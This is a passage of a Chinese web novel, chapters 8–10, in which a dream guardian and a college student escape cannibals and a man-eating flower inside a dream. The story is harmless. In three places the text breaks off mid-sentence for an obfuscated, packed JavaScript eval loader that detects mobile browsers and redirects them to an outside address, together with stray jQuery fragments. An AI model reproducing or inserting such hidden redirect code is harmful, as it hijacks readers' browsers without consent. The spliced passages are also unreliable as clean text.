“控梦之力?”宋洹默作为一个唯物主义者,他能这么耐心地听她说完这些神神叨叨的话就已经够意思了,还想让他跟着一起发疯,那是绝对不可能的。 他不屑地一笑,嘲讽道:“你是电视剧看多了吗?” 潼燏见他不相信自己,着急道:“我说的都是真的,梦里一切皆有可能,你试试不就知道了?” 宋洹默勾了勾唇角,靠在树上懒洋洋地说道:“我不做这么无聊的事。” “什么无聊啊!这可是生死大事!”潼燏被他这满不在乎的模样气得不行,气急败坏道,“你试一试会死吗?” “不试。”宋洹默直接两眼一闭,悠闲地闭目养神了起来。 “喂,你这人怎么这样,你别在这里睡觉啊,你到底有没有听懂我说的话,我都跟你说梦境出问题了,我们在这里不能受伤,否则大脑也会跟着受到伤害,你得相信我啊。”潼燏苦口婆心地反复跟他解释了几遍,但他依旧一声不吭,连眼皮都懒得抬一下。 潼燏气得跳脚,要是现在没被五花大绑,她一定跳起来给这臭小子一个大嘴巴,让他好好地清醒清醒。 不过俗话说得好,实践出真理,既然他这么无脑那就别怪她无情。 她急中生智,眼珠一转,试着模仿起了食人族的说话方式:“咕咕呱呱哇哇。” 正在挑选刀具的野人首领听到她的声音,提着一把更大更锋利的刀走了过来,他站在两人中间,歪了歪脑袋,眼神清澈地像只二哈一样,开口道:“哇哇哇哇咕咕。” 还真给她蒙对了! 潼燏心中一喜,接着胡说道:“呱呱呱呱呜呜。”【旁边那个男的比较好吃】 野人首领小眼一眯,似乎听懂了她的意思,伸手抓了抓树皮围裙,挥舞着刀朝着宋洹默走去。 宋洹默听到动静,睁开眼发现自己面前站着一个眼圈铁青的野人,他张牙舞爪地挥动着手里的匕首,二话不说就朝着他半露的胳膊割去。 “嘶。”手臂上传来一阵剧痛,宋洹默心中一惊,这痛感无比真实,他明显感觉到自己的皮肤正在被利刃一点点划开。 潼燏看到他白皙的手臂上一下子流出了许多鲜血,她大惊失色,急忙阻止道:“喳喳喳呱呱呱!” “呱呱。”野人首领停下动作看了看手里的刀,感觉还不是很趁手,又走回去重新挑选起了工具。 宋洹默的手臂还在不停地流血,潼燏原本只想让野人吓唬吓唬他,没想到他竟直接下了手,这让她不禁有些愧疚,哑声关心道:“你没事吧?” 宋洹默低着头没有说话。 这下潼燏更内疚了,她不安地瞄了他一眼,真心实意地抱歉道:“对不起啊,我没想到他会真的对你下手,我只是想告诉你他们是食人族,我们要是再不逃出这里,他们真的会把我们切成一片片生肉烤着吃。” 宋洹默沉默了一会,抬头看向她,心中已对她的话相信了大半,他神色一冷,没好气地问道:“你说的控梦之力,我要怎么做才能操控它?” “可简单了。”潼燏见他神色有点不对,以为他是在生自己的气,小心翼翼地说道,“你想要什么或者想把一样东西变成另一样,只要脑子里想一想就能实现,比如现在他们想吃我们,那你可以先想象出一场大雨把这火堆浇灭。” “嗯。”宋洹默明白了她的意思,盯着远处那堆熊熊燃烧的火焰冥思苦想了起来,想象着天上下起了瓢泼大雨。 潼燏顺着他的目光一脸紧张地看着火堆,这是她迄今为止第一次教梦主如何使用控梦之力,就像师傅带徒弟一样,能不能出师就在此一举了。 宋洹默十分认真地盯了半天,可太阳依旧当空照,天空万里无云,晴朗得像是不会天黑一般。 茅屋门口的野人把刚洗的树皮衣服从木盆里捞了起来,趁着阳光正好,一件一件整整齐齐地晒在了晾衣绳上。 潼燏:“......” 宋洹默抬头看了看天空,阳光明媚,一点下雨的迹象都没有,他皱了皱眉,开口道:“我都已经按你说的做了,为什么一点用都没用?” “呃......可能是你刚掌握这个能力,还需要一点时间磨合。”潼燏鼓励道,“没关系,你再试试,这次一定能成功。” “行吧。”他再次凝神,摒弃了脑海里所有乱七八糟的想法,全神贯注地盯着火堆,浅色的眼眸比任何时候都专注百倍。 潼燏在一旁万分期待又十分担心,按理说一旦梦主掌握了控梦之力,改变梦境只在瞬息之间,怎么到他这就变得这么困难了? 他明明长得挺聪明的呀,不至于连这么易如反掌的事情都掌握不到要领吧?不然真白瞎了这幅漂亮的皮囊。 她在心里不断地祈祷着,快啊,快下雨吧,我的老天爷啊,求求你赶紧下雨吧! 终于,在她虔诚的祈祷下,火堆上方冉冉升起了一朵棉花糖大小的灰色乌云。 ...... 宋洹默不可置信地看着它,眼里闪过一丝尴尬,清了清嗓子,不自在地说道:“这也算吧。” “呵呵。”潼燏深吸了一口气,皮笑肉不笑地说道,“挺好的,就是能不能让它下点雨?” 话音刚落,迷你乌云打了个小小的闪电,一阵毛毛雨淅沥沥地落了下来,没下几秒就卡在了那里,它似乎有点不甘心,又倔强地打了个闪电,但这次真的一滴水都挤不出来了。 一个看起来七八十岁的野人大爷步履蹒跚地走了过来,他颤巍巍地蹲下身研究起了火堆上方的迷你小乌云,一双浑浊的双眼睁得圆溜溜的。 看得正认真时,小乌云猝不及防地劈了个闪电下来,吓得他一屁股坐在了地上。 “呱呱渣渣哇。”野人大爷的暴脾气一下子上来了,他抓起旁边的长矛用力一挥,小乌云瞬间化成一阵水雾,稀拉拉地落了下来,下方燃烧的火堆被它一浇,仅仅只是受了些皮外伤。 潼燏看着英勇牺牲的小乌云,想笑却不敢笑出声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哇,你做到了!厉害!”潼燏开心地大喊起来,这家伙总算靠谱一次了。 宋洹默稍稍松了口气,这控梦之力听起来操作简单,但好像并没有那么容易掌控。 野人们看到火堆被浇灭了,气得支吾乱叫,一个个像还没进化完全的猿猴一样围着冒烟的灰烬上蹿下跳,愤怒地锤着自己的胸口发出了“啊呜啊呜”的长嚎声。 他们的首领倒是淡定得很,作为食人族族长的他立刻喊来了两个年轻力壮的野人小伙,在他们耳边叽叽呱呱说了几句,那两小伙哇哇回应了两声,转身走进了茅草屋。 潼燏见他们阵脚大乱,歪过身子悄声对宋洹默说道:“他们现在没空管我们了,你可以再想个办法把我们身上的绳子松开。” “我试试。”宋洹默再次凝神,想象着身上的绳子自动断掉,但试了半天他发现这招好像行不通,只能退而求其次,想象出了一个能够割断绳子的工具。 潼燏耐心地等待着他,毕竟这也是她第一次见梦主自己操控自己的梦境,做不到她那么厉害也是正常的,大不了再给他一些时间就是了。 “呱呱喳喳呜。”两个年轻小伙呼哧呼哧地从屋子里搬出了一个大家伙,招呼着众人一起帮忙。 潼燏回过头看了一眼,差点把眼珠子瞪了出来。 他俩竟然搬了个煤气罐出来,还十分全面地配备了一台煤气灶和一个超级大铁锅。 我嘞个去,有这玩意你们刚才还在那苦兮兮地表演什么钻木取火呢?合着是演戏给我们看是吧? 都有煤气罐了还装什么旧石器时代,直接步入二十一世纪得了! 8. 森林大逃亡(六) 潼燏无语透顶,眼看着他们架上了大铁锅,倒了满满两桶油进去,大火一开,油锅很快沸腾了起来。 完了,他们换口味了,烤肉要变炸串了! “你快点啊!”她一改刚才的淡定,抖着嗓子催促道,“宋洹默,你到底有没有在想啊,再不快点咱俩就要下油锅了。” “你别说话。”宋洹默被她催得不行,心里也有些着急了起来,神色一凝,手上瞬间出现了一把锋利的手术刀。 终于变出来了。 他立即握着它割断了绳子,身体一松脱离了束缚,趁那些野人还在忙着准备配菜,他悄悄地溜到潼燏身后,解开了她身上的麻绳。 两人趁他们不注意,蹑手蹑脚地走进了森林里,还没走出多远,一只长箭呼啸而来,擦过潼燏的头发,直直地插进了前方的大树,半只箭身没入了树干里。 一缕断发慢悠悠地从头上落了下来,潼燏伸手接住了它,白皙的手掌微微地颤抖了起来。 这可是她日日夜夜细心养护的头发,每天加完班回家洗头她都不敢太用力,现在却被这几个毛头小子随随便便就削掉了一撮。 干他们这行,没有什么比头发更宝贵的了!就算是在梦里,也忍无可忍! “士可杀不可辱,你变把枪出来,我要灭了他们。”潼燏一把将头发塞进了裤子口袋里,浑身充满了杀气。 “先跑。”宋洹默拉着她跑了起来,两人跌跌撞撞地在林间穿梭,身后不断地飞来长箭。 天慢慢黑了下来,潼燏逐渐有些看不清前面的路了,她抱着脑袋四处逃窜,靠着灵活的走位躲过野人的层层袭击,一边跑一边催促道:“我们这样是跑不过他们的,必须变出武器来镇压他们。” 宋洹默知道她说的没错,他有心但无力,这一路上他都在不停地尝试,但无论怎么努力也还是什么都变不出来。 “宋洹默,你是不是不行啊?”一只长箭噌的一下从潼燏耳边擦过,她心里一惊,直接抛出了一句对男人来说最具攻击性的话语。 宋洹默岂能忍受这奇耻大辱,他咬着后槽牙狠狠说道:“你给我等着。” 说完他便停下脚步,眼神一暗,手里出现了两把手枪。 潼燏一看,瞬间两眼放光,她立马拿起一把,惊叹道:“厉害啊,我就说你一定行的。” “你刚可不是这么说的。”宋洹默挑了挑眉梢,单手把玩着手枪,似有似无地将黑洞洞的枪口对准了她。 潼燏谨慎地往旁边挪了一步,讨好道:“我一直都很看好你啊,枪还是很危险的,小心一点比较好。” 身后的野人追了上来,纷纷拿着弓弩藏在了大树后,一个个警惕地盯着他们手里的武器,不敢贸然靠近。 “你们折磨了我一晚上,看我怎么收拾你们。”潼燏这下有了底气,举起手里的枪对着他们大喊道,“有本事出来啊,刚才不是挺嚣张的吗,现在怎么不过来了?” 野人们听不懂她在说什么,躲在树后不停地低声交流着。 宋洹默注意到他们的动作有些古怪,隐隐觉得不妙,走到潼燏身旁提醒道:“不要在这里跟他们纠缠,快走。” “好。” 两人拿着枪,慢慢往后退去。 刚退出几米远,漆黑的树林里忽然冒出了许多星星点点的亮光。 宋洹默定睛一看,一个个举着火把的野人从半人高的草丛后面钻了出来,形成了一个密不透风的包围圈,很快就将他和潼燏牢牢地困在了里面。 他们刚才果然是在等待同伴的支援,目测人数大概在三四十人左右。 目前这形势对他们极其不利,宋洹默撞了下潼燏的肩膀,示意她做好战斗的准备:“待会我们先开几枪示威,等他们意识到危险后就不会再靠近,趁这个时候我们就跑。” “好像跑不了。”潼燏脸色阴沉,低声道。 宋洹默见她神色不对,奇怪道:“怎么了?” 潼燏没有说话,慢悠悠地把枪举了起来,对着天空按下了扳机。 “别......” 宋洹默刚想制止,枪口“biu”地一声喷出了一堆彩色泡泡,晃悠悠地从上空飘了下来。 …… 两人一时无言以对,尴尬地看着泡泡不断地从枪里冒出。 “嘎嘎。”一群爱看热闹的乌鸦从他俩头顶飞了过去,幸灾乐祸地落下了一坨鸟屎。 “呃。”宋洹默窘迫地挠了挠后脑勺,为了挽回颜面,他嘴硬道,“我忘了告诉你,这其实是一把玩具枪。” “呵呵,你可真幽默。”潼燏把泡泡枪往地上一丢,望着周围慢慢逼近的食人族,阴阳道,“你要是再这么幽默下去,咱俩可就要变成炸串了。” “再等一下。” “我能等,但他们等不及了,你能不能......啊!”潼燏着急地往后退了一步,脚下一拌倒了下去,本以为会摔在地上,结果却一屁股坐在了软软的物体上。 她低头一看,发现自己正坐在一辆车里。 人在极度无语的时候真的会笑出声,潼燏上下左右仔仔细细地看了一圈,双手一摊,笑眯兮兮地问道:“你是在跟我玩笑吗?你是打算开这碰碰车创飞那几十个野人吗?” “怎么,不行吗?”宋洹默车门都没开,径直抬脚走进了车里,低矮的碰碰车对他这一米八多的身高来说就像如履平地一般,他一屁股挤开潼燏坐在了驾驶座上,随手丢给了她一个头盔。 潼燏看着手里的头盔,干笑了两声夸赞道:“您真有安全意识,我都想给您点个赞了。” “那倒不必。”宋洹默表面沉稳,实际上脸烫得不行。 他也不知道哪里出了问题,刚刚脑海里想的明明是越野车,可出来的怎么成了碰碰车? 算了,先不管了,情况紧急,有总比没有的好。 他戴上头盔系好了安全带,把面镜往下一拨,双手握在方向盘上提醒道:“系好安全带。” 潼燏小小地翻了个白眼,乖乖地戴好头盔系好了安全带,不忘吐槽道:“就一碰碰车还能有多......啊!!!” 宋洹默打开了远光灯,一脚踩下油门,车子在原地弹射起飞,唰的一下冲了出去,潼燏还没来得及说出口的“快”字顿时化作尖叫声响彻了整座森林。 黄色碰碰车十分勇猛地撞开了前方挡道的野人,三四个小伙子被“咚”地一声撞飞上了天,几秒后又垂直落体挂在了树桠上。 一时间吼叫声尖叫声四起,刚准备入睡的小怪兽们被惊得醒了起来,一脸警觉地观察着四周。 碰碰车一路风驰电掣,在宋洹默的掌控下如游龙一般在林间上下翻飞。 潼燏坐在副驾驶上低着脑袋,一手抓着车门,一手紧抓着安全带,她的整个五脏六腑都在上下蹦跶,再不抓紧一点,估计下一秒就会被弹飞出去。 冷箭不断,两人的头盔上不断地发出“砰砰”的响声,铁质的表面被扎出了一些浅浅的洞坑,为了摆脱他们的纠缠,宋洹默牢牢地抓着方向盘,大喊道:“坐稳了!” 他猛地朝右打了一把反向盘,车子紧急转弯,以最大的马力朝着右边的山坡冲去,碰碰车冲上山坡后又以接近九十度的角度往下飞去,潼燏跟块牛皮糖一样贴在了挡风玻璃上,像坐过山车似的上上下下不断起伏着,吓得她心跳都提到了嗓子眼。 前方徒然出现了一座悬崖,宋洹默瞳孔一震,立马踩下了刹车,但由于用力过猛,车辆直接来了个大漂移,转了几圈后一头撞在了大树上,底下的皮垫一弹,他俩瞬间被弹飞了出去,重重地砸在了松软的草垛上。 世界顿时安静了下来。 宋洹默四仰八叉地躺在草垛上缓了一会,直到头晕好一些后他才摘掉头盔,咳嗽了几声问道:“咳咳,你没事吧?” “呕。”潼燏把头盔一丢,两眼翻白地趴在草垛上,整个脑袋晕得不行,浑身像是散架了一般完全失去了力气,她干呕了几声,虚弱道,“求你了,我不想再体验速度与激情了。” “不会了。”他坐起身子,扭动了一下酸痛的肩膀,看着不远处那辆散成一地零件的碰碰车说道,“它已经报废了。” 潼燏一手撑在稻草上坐了起来,两眼无神地看着自己的双腿,有气无力道:“我想回家。” 这里太可怕了,她真的一秒都不想再待了。 宋洹默听出了她的疲惫,站起身跳下草垛,对着她伸出一只手道:“先下来吧,那边有个小屋,进去休息一会。” “好吧。”潼燏扶着他的手臂跳到了地上,一起走进了小屋。 麻雀虽小五脏俱全,木制的小屋里摆着两张单人沙发和一张矮桌,桌上还贴心地放置着两瓶矿泉水。 潼燏拖着酸痛的身体坐到了沙发上,往后一仰,累到不想再说话。 宋洹默在她对面坐下,凝神一想,褐色的桌上出现了一个医药箱。 他拧开矿泉水瓶冲洗干净自己的双手,消毒后拿起棉签沾了下碘伏,一声不响地走到潼燏身边,抓起她受伤的手臂开始消毒。 “嘶,好痛。”潼燏痛呼了一声,睁开眼睛看到宋洹默正俯着身子帮她处理着伤口。 “别动。”他语气凌厉,手里的动作却轻了一些,消毒完后拿起医用纱布仔细地将她的伤口包了起来,最后用胶布固定住了绷带。 “可以啊。”潼燏举着自己的手臂,看到上面整整齐齐地包裹着纱布,满意地点评道,“你这手法不错啊,以前学过吗?” 宋洹默坐回沙发上,侧坐着拿起棉签一边给自己消毒伤口,一边不屑道:“关你什么事。” “切。”潼燏不满地哼了一声,见他自己处理伤口有些不方便,上前抢过他手里的棉签,主动道,“我来帮你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963125|161139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不用,我自己来。”宋洹默刚想挣扎,却被她按住了身体。 “别动,我来。” 她强行握着他的手臂,刚想涂下去却被他一把抓住了手腕。 宋洹默嫌弃地看了眼她脏兮兮的双手,提醒道:“你先把手洗干净消毒。” 梦里还那么讲究干嘛?潼燏在心里嘟囔了一句,顺从地洗了手消毒干净后小心翼翼地帮他擦拭起了伤口,自夸道:“我也在网上学过处理伤口,保证比你包得还好。” “呵。”宋洹默嘲笑了一声,反驳道,“不可能。” “怎么不可能,我要让你见识一下我的技术。” 潼燏一边说笑一边内疚地帮他消着毒,还好那个野人首领下手没有太狠,只是浅浅地划破了一道几厘米的口子,应该很快就能好。 她放下了心,拿起纱布帮他包裹起了伤口。 五分钟后,宋洹默看着粗了一圈的胳膊,眼角不由得抽了抽,指着它说道:“这就是你的手笔?” “这不挺好的嘛。”潼燏戳了戳那裹得跟粽子似的手臂,自我满意道,“严严实实,一点风都透不进去。” “是挺好的,再过一会就可以截肢了。”宋洹默撕开胶带去掉了一大半的纱布,调整好松紧度后又重新包裹了一遍,勒得要死的手臂终于恢复了正常的血液循环。 好不容易逃脱了食人族的追逐,潼燏半躺半靠地坐在沙发上闭目养神,这是她今晚入梦以来唯一的轻松时刻。 宋洹默坐在她对面叠起了双腿,一手搭在沙发扶手上,看了她一会,开口问道:“你是谁?” “你都已经问了我好几遍了。”潼燏懒洋洋地坐直了身体,看到他探究的眼神后知道他想问的是什么。 她双腿一盘,热情地介绍起了自己:“重新认识一下,我叫潼燏,是这个世间人类梦境的守护者,我每晚的工作就是查看你们这些梦主有没有在正常地进行梦境,要是出故障了我就会及时帮你们维修,保证你们都能好好地做梦。” 宋洹默大概理解了她的意思,上下扫了她一眼,问道:“你是......活在梦境里的人?” 潼燏嘴巴一扁,眼神陡然黑了下来,她双手扒拉着眼皮做出了一个丑不拉几的鬼脸,夹着嗓子阴森森地说道:“没想到被你发现了,那我就扒了这层人皮,给你看看我的真面目。” 宋洹默看着她这幼稚的举动,伸手敲了敲桌子,无语道:“麻烦你认真一点。” 眼看奸计没有得逞,她靠回椅子上,笑嘻嘻地说道:“你不会以为我是什么神仙妖怪吧,不好意思让你失望了,我不但是个活生生的人类,并且还是个普通得不能再普通的打工族,我白天照常上班,晚上睡着以后才干这行,严格说来,这只是我的副业,虽然没什么钱拿。” “嗯,懂了。”宋洹默继续发问,“通常梦里只有视觉和听觉,为什么今晚的梦境会产生这么真实的痛觉和触觉?” 要不是这一路太过离谱,他都要怀疑自己是不是穿越到了一个真实的世界。 潼燏一手撑着下巴,点头道:“好问题,但我也不知道为什么会这样。” 宋洹默微眯了下眼睛,环抱着双臂质疑道:“你不是梦境守护者吗?怎么连这都不知道?” “我本来是应该知道的,但那本管理手册实在太厚,我只看了一遍就丢抽屉里了,这么多年过去很多内容我都忘了,但我知道的我都已经告诉你了。” 早知道今晚进来之前就该先翻翻那本手册,说不定现在还能用上。 “唉~”潼燏长叹了一声,真是悔不当初啊! 宋洹默看她不像撒谎,思索了一会问道:“按照你说的,我都意识到自己在做梦了,为什么这个梦到现在都还没有结束?” “不知道。” “你作为管理梦境的人,为什么自己都出不去这个梦?” “不知道。” “......那我这个梦什么时候才会结束?” “不知道,按理说梦境自动结束就能出去,但目前情况太混乱,我也不太确定了。” 宋洹默:“......” 这人一问三不知,难道这所谓的梦境守护者是随便找了个人来滥竽充数的吗? 他不由得皱起了眉,压下心中的烦闷,说道:“你不是会维修梦境吗,那你现在不是应该找找是哪里出了问题吗?” “我已经看过了,你的梦境没有问题。”潼燏身体往前一倾,看着他那双黑白分明的眼睛说道,“你还记得你昨晚的梦吗?” “昨晚?”宋洹默想了一阵,一点印象都没有,直接说道,“不记得。” “好吧。” 潼燏也没再多说,毕竟很多人醒来后都会忘记梦的内容,这是梦境系统的一个机制,再美好的梦也终归只是梦而已,人终究还是要活在现实世界里。 9. 森林大逃亡(七) “你怎么会知道我的名字?”宋洹默问了半天,这才后知后觉地意识到她从一开始就认识自己,似乎也是为了找他而来。 可他并不认识她,她为什么要来找他? 潼燏懒散地坐在沙发上,像本百科全书似的认真地给他讲解起了关于梦境的细则:“每个人的梦都是以一颗星星的形态存在的,简称为梦星,每颗梦境星星上都印着梦主的名字,所以我一看就知道你叫宋洹默啦。” 原来是这样,他感觉自己好似不只是在一个梦境里,而是进入了一个更加奇妙的世界。 等等,现在不是瞎想的时候。 他干咳了一声,见她正在喝矿泉水,继续问道:“你为什么会出现在我的梦里?” “噗!”潼燏听到他的话,刚喝下去的一大口水似天女散花般喷了出来,十分精准地全数喷在了宋洹默的脸上,丝毫没有误伤到旁边的桌子。 “你,到,底,在,干,什,么。”宋洹默睁开湿漉漉的双眼,一字一句咬牙切齿道。 眼眶里的愤怒差点就迸射了出来,他极力克制住了情绪,抓在沙发上的手隐隐加重了力度。 “对不起,对不起,我不是故意的,我帮你擦干净。”潼燏急忙起身,扯下架子上的一块灰布,胡乱地在他脸上抹了起来。 “走开。”宋洹默黑着一张脸,一把从她手里扯走灰布,看到它还算干净后,气呼呼地擦起了脸上的斑驳。 这个女人果然有问题。 他敏锐地察觉到了她的不对劲,犀利的眼神盯上了她,一遍擦拭着脸上的水珠,一边冷笑道:“怎么,这个问题让你很紧张吗?” “没有啊,我为什么要紧张,我可是人类梦境守护者,可以随意出入任何人的梦境,这就相当于日常巡逻,我总得隔三岔五看看你们的梦做得好不好吧,万一出了故障我还能及时维修,毕竟我是一个相当有责任心的管理者。” 潼燏振振有词地说着,撑在沙发上一脸惆怅地摇了摇头,一副头疼的模样道:“谁料我今晚随手一点,竟然到你的梦里来了,本想随便逛逛就走,谁知道竟然出不去了,唉,也不知道这是怎么回事,从业多年第一次碰到这样的情况,真是太令我伤脑筋了。” 唉,色字头上一把刀啊!当初真不该贪图他的美色,这下好了,出不去了。 宋洹默见她坐在对面唉声叹气,总觉得她有些装模作样,皱了皱眉将信将疑道:“是吗?” “不然呢?难不成我还能在你的梦里图到什么好处?”潼燏继续诡辩着,一下子理直气壮了起来,反正无论如何也不能告诉他自己进来的真实理由,不然她的小脸都要丢光了。 此话一出,宋洹默顿时无言以对,仔细想来她说得似乎也没错,这只不过是一个梦而已,还能有什么意图? 看来是他想多了。 潼燏见他不再追问,心虚地坐在沙发上盘起了腿,双手放在膝盖上,两眼一闭打起了坐。 ? 宋洹默不明所以地望着她,不知道她这又是整哪出。 她一会闭眼一会睁眼,来来回回十分钟后,两腿一伸仰躺在沙发上,绝望地长叹道:“完了,我的控梦之力真的消失了,到底是哪里出了问题?为什么会这样啊!” 刚叹息完,她又蹭的一下坐了起来,两眼放光地看着他,庆幸道:“看来只能靠你了,你刚才已经使用过控梦之力,感觉怎么样?是不是像魔法一样特别神奇,脑瓜子一想就能随意变出东西来。” 黑白分明的眼眸十分明亮,像在看救世主般带着浓烈的期望与寄托,宋洹默不自在地躲开了这炙热的注视,淡淡道:“为什么我刚才使用控梦之力,出现的东西总是跟我想得不太一样?” 大雨变小乌云,海浪变小海浪,越野车变碰碰车,这控梦之力难道还会自动打折?高配瞬间变成低配版。 “这个......”潼燏从来没遇到过这种情况,她从掌握控梦之力开始就运用得炉火纯青,不带一丝卡壳,想要什么只在弹指一挥间。 但现在她绝对不能说实话,毕竟目前唯一有用的就是他了,万一打击到他,他一生气摆烂了怎么办? 这小子的脾气跟她想象中的完全不一样,长得这么好看,没想到竟是一个妥妥的高傲腹黑男! 惹不起惹不起,实在惹不起。 她只好假装歪头思索了一下,猜测道:“呃......估计是你刚开始使用还不是很顺手,用多了就好了,你看你这个医药箱就变得特别好,再多试几次,肯定就能熟练地掌握它了。” “嗯。”宋洹默的目光落到了箱子上,沉思片刻后问出了一个最至关重要的问题,“这个梦要是迟迟不结束,现实中的我是不是就会一直在睡觉?” “当然了。”潼燏理所当然道,“梦境不结束,人怎么醒啊?” “真是麻烦,别耽误我明天上课。”宋洹默薄唇一抿,一丝烦躁溢出了唇角。 也不知道明天早上会不会睡过头,万一错过了最重要的专业课,那他真的会气炸。 “上课?”潼燏瞪大了眼睛,看着面前这张帅气的脸庞,惊讶道,“你你你,你还在读大学?” 宋洹默瞥了她一眼,淡漠道:“嗯。” 怪不得长得这么年轻,原来还是只小鲜肉! 潼燏当即把现下这危急的处境抛到了脑后,饶有兴致地看着他好奇道:“你上大几啦?什么学校呀?哪个专业的?” “无可奉告。”宋洹默往后靠了靠,看她的眼神像是在看村口的长舌妇一般,一脸鄙夷地瞅了她一眼,撇过脸庞,拒绝了她的唠家常邀请。 “切。”潼燏见他拽得要死,不满道,“你这小弟弟怎么这么小气,问问都不行啊!” 小弟弟? 宋洹默眼神一暗,起身走到她面前,双手搭在两边的沙发扶手上,俯身而下逼近她,勾起了一抹玩味的笑意,低声道:“你是在说我吗?” 潼燏被他这突然的靠近惊到,刚想后退却发现自己已经背靠在沙发上避无可避,本想闪躲的眼神也卡在了原地,被他那湖泊般幽深的双眸吸引而去。 她笼罩在他的身下,艰难地咽了口口水,结结巴巴地说道:“我......我收,收回刚才的话。” 宋洹默闻言,眼里的湖水泛起了波澜,身子往下一压,揶揄道:“我是小弟弟吗?” “不是不是。”潼燏的脑袋摇得跟拨浪鼓似的,紧贴着沙发不敢动弹,眼看着阴影又加重了几分,她急忙信誓旦旦地说道,“你绝对不是!” 得到满意的答复后,宋洹默上下扫了她一眼,见她可怜巴巴地缩在沙发上,水汪汪的双眼无辜地望着自己,他一时失神,像是被卷入了旖旎里,一时间忘了言语。 潼燏见他不做声,伸出手小心翼翼地戳了下他的手臂,憨笑道:“嘿嘿,你能不能坐回你自己的座位上去,我觉得有点挤。” 宋洹默回了神,发觉自己与她靠得十分地近,耳根一红,不动声色地直起腰,回到了自己的座位上。 上方的阴影消失,失去禁锢后的潼燏心跳不受控制地快了起来,她偷偷瞄了眼对面的人,发现他竟似笑非笑地看着自己。 什么鬼!她居然被一个还在上大学的男生撩了? 重点是,他好像还在嘲笑自己! 潼燏脸上一红,气得心跳又加速了不少,她感觉整个人都摇晃了起来,连带着地板一起震动。 “怎么回事?”她狐疑地看了眼脚下,就算她再生气也不至于到地动山摇的地步吧? 铺着毛毯的地板像万花筒似的一圈一圈转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965757|161139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了起来,不停地变幻着许多五彩斑斓的画面。 潼燏看得眼花缭乱,脑袋也跟着天旋地转了起来,刚转了两圈,脚下一空,软趴趴地跌落进了这场绚丽里。 “小心!” 有人大喝一声,一把拉住她的手腕将她从迷幻的漩涡里拉了出去,她意识涣散,似木偶般跟着他跌跌撞撞地冲出了门,脚下一软,摔倒在了平地上。 一离开小屋,潼燏瞬间恢复了清醒,她坐在地上回头望去,一朵巨型食人花掀开屋顶,挣扎着钻了出来。 它通体五颜六色,身上像LED大屏般不断地闪烁着各种诱人的画面,任何生物但凡多看两眼就会被它这虚幻的景象勾了魂魄,自动进入它的温柔乡里,最终被腐蚀成一滩腥臭的血肉。 “我去,这又是什么怪物?”潼燏看到这一幕,不由得腿脚发软,刚才宋洹默要是再晚拉她一步,她肯定已经走进了它的大嘴里,一步到胃了。 食人花见捕食失败,愤怒地撞碎了小屋,张着黑洞般的巨嘴一蹦一跳地朝他们扑来。 “快跑!”宋洹默一把拽起地上的潼燏,拉着她再次开启了逃跑之路。 还没跑出几步,山坡上又出现了一群熟悉的身影,他们左右张望了一眼,找到目标后朝着木屋气势汹汹地跑了过来。 宋洹默和潼燏紧急刹车,前后一看,发现他们再次陷入了前后夹击的包围圈里。 “真是屋漏偏逢连夜雨啊。”潼燏停下脚步,感觉人都要麻了,后面的要吃他们,前面的也要吃他们。 他俩又不是唐僧肉,怎么谁看见了都想尝两口! 这该死的破剧情! 前方的野人首领举起手中的AK瞄准了他们,宋洹默见状,立马把潼燏拉到自己怀里,护着她的脑袋往左侧跑去。 随着“砰砰”两声枪响,身后的食人花一下子被炸成了五彩斑斓的烟花,四分五裂后砸在了地上,激起了一地的尘土。 三四十个野人从四面八方包抄上来将他俩团团围在了中间,野人首领拨开小弟们走到了他们的面前,凶狠地拿着AK顶在了宋洹默的脑袋上,气氛一时间变得无比紧张。 潼燏已经见识到这把枪的威力,眼看大势已去,她立即举起双手投降,讪笑着讨好道:“大哥,有话好好说,能不能先把手里的枪放下,这样拿容易走火。” “喳喳呱呱喳。”野人首领一声令下,旁边的两个小弟立即拿着一捆麻绳走了上来,二话不说就把潼燏给绑了起来。 眼看又要被抓回去做成炸串,她挣扎着冲宋洹默喊道:“宋洹默,你别不说话呀,枪都顶你脑门上了,赶紧变点东西出来保命啊。” “我在想。”宋洹默单手插在口袋里,气定神闲道,“但变不出来。” what?潼燏翻了个大白眼,气极反笑道:“你的意思是咱俩只能乖乖地被他们抬回去下油锅呗,晚饭吃我,明天早饭吃你,咱俩......” “你别打扰我。”宋洹默不耐烦地打断了她的话,继续冥思苦想了起来。 “你......”潼燏捏紧了拳头,没想到这么简单的能力他居然都用不好!真是白瞎了这无敌的技能。 算了,靠别人不如靠自己。 她吐了口气,管理了一下表情,小嘴一咧,再次模仿起了食人族的语言:“呱呱呜喳呜。” 没人有反应。 “喳喳喳喳呜呜呜。” 野人们齐齐看着她,脸上毫无波澜。 怎么没反应?难道她一个都没蒙对? 潼燏不信这个邪,再次自信开口道:“呜呜呜......唔。” 一块抹布以迅雷不及掩耳之势塞进了她的嘴里,野人首领被她这一堆狗屁不通的话吵得不行,他悠哉地抠了抠耳朵,终于清净多了。 10. 森林大逃亡(八) “呱呱喳呜呱。” 耳边响起了宋洹默的声音,潼燏震惊地朝他看去,这小子居然也模仿起了食人族说话。 不过连她都失败了,他怎么可能成...... 